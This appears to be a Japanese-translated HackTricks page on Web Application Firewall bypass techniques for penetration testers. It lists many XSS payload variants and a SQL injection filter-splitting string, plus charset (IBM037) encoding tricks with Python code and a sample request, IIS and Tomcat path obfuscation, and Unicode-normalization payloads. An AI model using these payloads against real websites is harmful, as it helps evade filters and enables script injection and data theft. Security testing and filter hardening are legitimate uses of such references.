14 KiB
WAF バイパス
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricks で会社を宣伝したいですか?または、PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的な NFT のコレクションです。
- 公式の PEASS & HackTricks スワッグを手に入れましょう。
- 💬 Discord グループ または telegram グループ に参加するか、Twitter 🐦@carlospolopm** をフォローしてください。**
- ハッキングのトリックを共有するには、hacktricks リポジトリとhacktricks-cloud リポジトリ に PR を提出してください。
正規表現バイパス
ファイアウォール上の正規表現フィルタをバイパスするために、さまざまなテクニックが使用されます。例として、大文字小文字の交互使用、改行の追加、ペイロードのエンコードなどがあります。バイパスのためのリソースは、PayloadsAllTheThingsとOWASPで見つけることができます。以下の例は、この記事から引用されました。
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
文字セットのエンコーディング
WAF(Web Application Firewall)は、Webアプリケーションのセキュリティを強化するために使用される一般的なセキュリティツールです。WAFは、悪意のあるトラフィックや攻撃を検出し、遮断するために使用されます。WAFは、一般的な攻撃パターンや脆弱性に対して保護するために、特定のルールやフィルタを使用します。
WAFバイパスの一つの方法は、文字セットのエンコーディングを変更することです。WAFは、特定の文字セットを検出してフィルタリングすることがあります。したがって、攻撃者は、WAFが検出できないような別の文字セットを使用することで、WAFのフィルタリングを回避することができます。
以下は、一般的な文字セットのエンコーディング方法の例です。
-
UTF-8エンコーディング:攻撃者は、URLエンコードやパーセントエンコーディングを使用して、UTF-8エンコーディングを回避することができます。例えば、攻撃者は「%C0%AF」というエンコードを使用して、WAFのフィルタリングを回避することができます。
-
Unicodeエンコーディング:攻撃者は、Unicodeエンコーディングを使用して、WAFのフィルタリングを回避することができます。例えば、攻撃者は「%u2215」というエンコードを使用して、WAFのフィルタリングを回避することができます。
WAFバイパスの成功は、WAFが使用している文字セットの検出方法に依存します。したがって、攻撃者は、WAFの動作を分析し、適切なエンコーディング方法を選択する必要があります。
# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037
##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037")))
## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
オブフスケーション
Obfuscation is a technique used to make code or data difficult to understand or analyze. In the context of web application security, obfuscation can be used to bypass Web Application Firewalls (WAFs) that are designed to detect and block malicious requests.
オブフスケーションは、コードやデータを理解や解析が困難にするための技術です。Webアプリケーションセキュリティの文脈では、オブフスケーションは、悪意のあるリクエストを検出してブロックするために設計されたWebアプリケーションファイアウォール(WAF)をバイパスするために使用されることがあります。
Techniques for Obfuscation
オブフスケーションの技術
There are several techniques that can be used for obfuscation:
オブフスケーションには、いくつかの技術があります。
-
String obfuscation: This technique involves encrypting or encoding strings in the code to make them unreadable. The strings can be decrypted or decoded at runtime to retrieve the original values.
-
文字列のオブフスケーション: この技術は、コード内の文字列を暗号化またはエンコードして読めなくするものです。文字列は実行時に復号化またはデコードされ、元の値を取得することができます。
-
Code obfuscation: This technique involves modifying the code structure and logic to make it more complex and difficult to understand. This can include renaming variables and functions, adding unnecessary code, or using obfuscated control flow.
-
コードのオブフスケーション: この技術は、コードの構造とロジックを変更して、より複雑で理解しにくくするものです。これには、変数や関数の名前を変更する、不要なコードを追加する、またはオブフスケーションされた制御フローを使用するなどが含まれます。
-
Payload obfuscation: This technique involves modifying the payload of a request to evade detection by a WAF. This can include encoding the payload, splitting it into multiple parts, or using alternative encodings.
-
ペイロードのオブフスケーション: この技術は、WAFによる検出を回避するために、リクエストのペイロードを変更するものです。これには、ペイロードのエンコード、複数のパートに分割する、または代替エンコーディングを使用するなどが含まれます。
-
Protocol obfuscation: This technique involves modifying the protocol used for communication to hide the true nature of the traffic. This can include using encryption, tunneling, or other techniques to obfuscate the network traffic.
-
プロトコルのオブフスケーション: この技術は、通信に使用されるプロトコルを変更して、トラフィックの真の性質を隠すものです。これには、暗号化、トンネリング、または他の技術を使用してネットワークトラフィックをオブフスケーションすることが含まれます。
Bypassing WAFs with Obfuscation
オブフスケーションを使用したWAFのバイパス
By using obfuscation techniques, it is possible to bypass WAFs that rely on signature-based detection or simple pattern matching. The obfuscated code or payload may appear benign or legitimate to the WAF, allowing malicious requests to pass through undetected.
オブフスケーション技術を使用することで、シグネチャベースの検出や単純なパターンマッチングに依存するWAFをバイパスすることが可能です。オブフスケーションされたコードやペイロードは、WAFにとって無害または合法的に見えるため、悪意のあるリクエストが検出されずに通過することができます。
It is important to note that obfuscation is not a foolproof method for bypassing WAFs. Advanced WAFs may employ more sophisticated techniques to detect obfuscated code or payloads. Additionally, obfuscation can make code more difficult to maintain and debug, so it should be used judiciously and with caution.
オブフスケーションは、WAFをバイパスするための完全な方法ではないことに注意することが重要です。高度なWAFは、オブフスケーションされたコードやペイロードを検出するためにより洗練された技術を使用する場合があります。また、オブフスケーションは、コードの保守やデバッグをより困難にする可能性があるため、慎重に使用する必要があります。
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
Unicodeの互換性
Unicodeの正規化の実装によっては(詳細はこちらを参照)、Unicodeの互換性を持つ文字はWAFをバイパスして意図したペイロードとして実行することができる場合があります。互換性のある文字はこちらで見つけることができます。
例
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
サイズ制限の超過
クラウドベースのWAFでは、ペイロードがXサイズより大きい場合、リクエストはWAFによってチェックされません。これを利用して簡単にバイパスすることができます。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したいですか?または、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけて、独占的なNFTのコレクションを発見してください。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
- **ハッキングのトリックを共有するには、hacktricksのリポジトリとhacktricks-cloudのリポジトリ**にPRを提出してください。